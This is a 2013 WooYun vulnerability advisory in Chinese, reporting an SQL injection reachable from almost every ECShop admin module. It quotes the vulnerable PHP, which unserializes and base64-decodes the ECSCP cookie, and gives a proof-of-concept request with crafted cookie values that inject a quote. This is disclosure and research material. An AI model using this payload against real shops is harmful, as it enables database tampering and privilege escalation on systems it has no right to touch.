WooYun.org

漏洞概要 关注数(20) 关注此漏洞

缺陷编号： WooYun-2013-24840

漏洞标题： ecshop最新版本后台所有功能块通用SQL注入(全版本亦可)

相关厂商： ShopEx

漏洞作者： blue

提交时间： 2013-05-30 23:44

公开时间： 2013-08-28 23:45

漏洞类型： SQL注射漏洞

危害等级： 中

自评Rank： 8

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： sql注射漏洞利用技巧

1人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-05-30： 细节已通知厂商并且等待厂商处理中
2013-05-31： 厂商已经确认，细节仅向厂商公开
2013-06-03： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2013-07-25： 细节向核心白帽子及相关领域专家公开
2013-08-04： 细节向普通白帽子公开
2013-08-14： 细节向实习白帽子公开
2013-08-28： 细节向公众公开

简要描述：

后台的SQL注入，几乎所有的后台功能块都能用此方法注入，进入后台就可以用此提升下自己的权限了，当然，“进入后台”让这个漏洞鸡肋了，你懂的～～～

详细说明：

/admin/order.php //158行


 $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

/admin/includes/lib_main.php //718行


function get_filter($param_str = '')


{


    $filterfile = basename(PHP_SELF, '.php');


    if ($param_str)


    {


        $filterfile .= $param_str;


    }


    if (isset($_GET['uselastfilter']) && isset($_COOKIE['ECSCP']['lastfilterfile'])


        && $_COOKIE['ECSCP']['lastfilterfile'] == sprintf('%X', crc32($filterfile)))  //这虽然麻烦，但可控制


    {


        return array(


            'filter' => unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])), //这里又见重点


            'sql'    => base64_decode($_COOKIE['ECSCP']['lastfiltersql'])


        );


    }


    else


    {


        return false;


    }


}

漏洞证明：

GET:


http://localhost/test/ecshop/admin/article.php?is_ajax=1&uselastfilter=1





POST:


act=query&keyword=&cat_id=0





COOKIE: 


ECSCP[lastfilterfile]=23A0E66; 


ECSCP[lastfilter]=a%253A1%253A%257Bs%253A5%253A%2522start%2522%253Bs%253A2%253A%25221%2527%2522%253B%257D; //cookie修改这两处

修复方案：

版权声明：转载请注明来源 blue@乌云

漏洞回应

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价